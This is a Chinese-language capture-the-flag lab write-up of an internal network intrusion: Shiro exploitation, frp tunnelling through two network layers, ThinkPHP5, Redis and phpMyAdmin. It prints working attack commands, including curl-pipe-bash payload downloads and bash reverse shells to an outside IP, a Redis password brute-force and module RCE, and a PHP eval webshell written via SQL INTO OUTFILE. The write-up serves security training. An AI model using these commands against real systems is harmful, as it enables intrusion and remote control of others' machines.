靶场拓扑

搭建的时候struts2一直起不来,算了,基本都起来了,少打一个点,主要是练习一下包含内网渗透最基础的做法和思路

外网打点

模拟,拿到的只有一个ip

扫端口吧,直接fscan

web服务是个shiro框架的站,密钥都爆破出来了,那直接工具梭了

flag1

开个监听

然后弹shell,直接弹失败了,内存马传一个

静态文件是cdn的啊,换种方式,直接下马

1
curl -sSL http://192.168.111.131:8081/server.sh | bash

没反应

页面回显了脚本源码

看了下当前目录没这个脚本,应该是权限问题

1
curl -sSL http://192.168.111.128:8081/server.sh -o /tmp/server.sh
1
chmod +x /tmp/server.sh


然后再运行就弹过来了,看来是不支持执行多条命令

下个fscan扫下内网

多路输出shell

本地建立个多路shell的脚本

1
echo 'bash -i >& /dev/tcp/120.27.131.154/404 0>&1 & bash -i >& /dev/tcp/120.27.131.154/8080 0>&1 &' > re.sh

shiro attack下载下来

1
wget http://120.27.131.154:8080/re.sh -O /tmp/re.sh >/dev/null 2>&1

然后执行


下一步要上代理,懒得挂后台启动了,还是搞两个shell算了

内网渗透

资产收集

找到个网段,先扫吧

扫出来了,还是老版的fscan好用

扫出一个新资产有thinkphp5的洞
先上代理,大致做这些,之前写了个代理练习

机器 IP 角色 作用
公网服务器 ip frp服务端(frps) 公开对外的frp服务端,供内网机器连接
跳板机 192.168.111.131 frp客户端(frpc) 连接公网frps,把内网资产暴露出去
内网目标机 192.168.100.3 内网资产 目标机,开放80端口
本地电脑 任意公网IP 浏览器访问公网IP 访问 ip:8888 来访问内网资产
接下来就是配置文件和启动frp

服务器

frps.ini

1
2
3
4
5
[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin123

然后启动frps

1
./frps -c frps.ini

shiro靶机

frpc.ini

1
2
3
4
5
6
7
8
9
[common]
server_addr = ip
server_port = 7000

[web_100_3]
type = tcp
local_ip = 192.168.100.3
local_port = 80
remote_port = 8888

启动frpc

1
./frpc -c frpc.ini

攻击机

直接访问http://ip:7500frp的web端

显示成功,直接访问http://ip:8888

thinkphp v5靶机

代理出来了,直接工具梭了

直接工具传马,然后连接一下

10段信息收集


有两张网卡,第一张的全打完了,打第二张
传了个fscan上去,然后反弹shell,虚拟终端太难操作了

1
bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'


扫描结果

有两个新资产,一个redis,一个phpmyadmin

redis与phpmyadmin


两个网段能ping通,说明可以直接上代理不需要做路由转发
接着还是要上代理啊

上代理

机器 IP 角色 作用
公网服务器 ip frps 服务端 公网服务器,充当外部访问的中转站,连接内网的 frpc
跳板机 192.168.111.131 frpc 客户端 连接公网服务器,代理内网资产并暴露它们
内网目标机 192.168.100.3 内网资产 被代理的目标,提供 HTTP 服务或者其他内网端口
其他内网机器 10.85.101.x 内网其他资产 phpMyAdmin, Redis, HTTPS 服务等
你本地电脑 任意公网IP 浏览器访问公网IP 通过 公网服务器 访问暴露的服务
~~在跳板机(shiro靶机)上改改frpc.ini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[common]
server_addr = 120.27.131.154
server_port = 7000

# 映射内网 phpMyAdmin 服务
[phpmyadmin]
type = tcp
local_ip = 10.85.101.2 # 内网 phpMyAdmin 的 IP 地址
local_port = 80 # 内网服务端口
remote_port = 8082 # 对外暴露的端口

# 映射内网 Redis 服务
[redis]
type = tcp
local_ip = 10.85.101.3 # 内网 Redis 的 IP 地址
local_port = 6379 # 内网 Redis 端口
remote_port = 6380 # 对外暴露的端口


出问题了,忽略了是多层内网环境,所以要在thinkphp靶机这搞个中继,然后再把流量拉到shiro那,然后再拉到公网服务器上

thinkphp靶机

frpc.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[common]
server_addr = 127.0.0.1
server_port = 7000

[phpmyadmin]
type = tcp
local_ip = 10.85.101.3
local_port = 80
remote_port = 8082

[redis]
type = tcp
local_ip = 10.85.101.2
local_port = 6379
remote_port = 6380

frps.ini

1
2
[common]
bind_port = 7000

shiro靶机

frpc.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[common]
server_addr = ip
server_port = 7000

[phpmyadmin]
type = tcp
local_ip = 192.168.100.2
local_port = 8082
remote_port = 18082

[redis]
type = tcp
local_ip = 192.168.100.2
local_port = 6380
remote_port = 6380

测试连接

redis

phpmyadmin

拿下redis

redis设置了密码,先爆破,用到个工具

1
./redisbrute -T 120.27.131.154:6380 -p ~/fuzzDicts-master/rockyou/rockyou.txt

爆出了


尝试拿权

1
python3 redis-master.py -r 120.27.131.154 -p 6380 -L 120.27.131.154 -P 403 -f RedisModulesSDK/exp.so -a "12345" -c "whoami"


反弹shell没成功,等连上数据库看数据了,作罢

拿下phpmyadmin

这能怎么打,弱口令进去的,root:root

写webshell

1
select '<?php @eval($_POST[1])?>' into outfile '/var/www/html/shell.php'

肥肠尴尬

看看安全参数

1
show global variables like '%secure%'

secure_file_priv 变量为空啊,没道理啊

这个又能成功select '<?php @eval($_POST[1])?>' into outfile '/tmp/shell.php';

结束

感觉是非预期了环境,算了,先熟悉下流程吧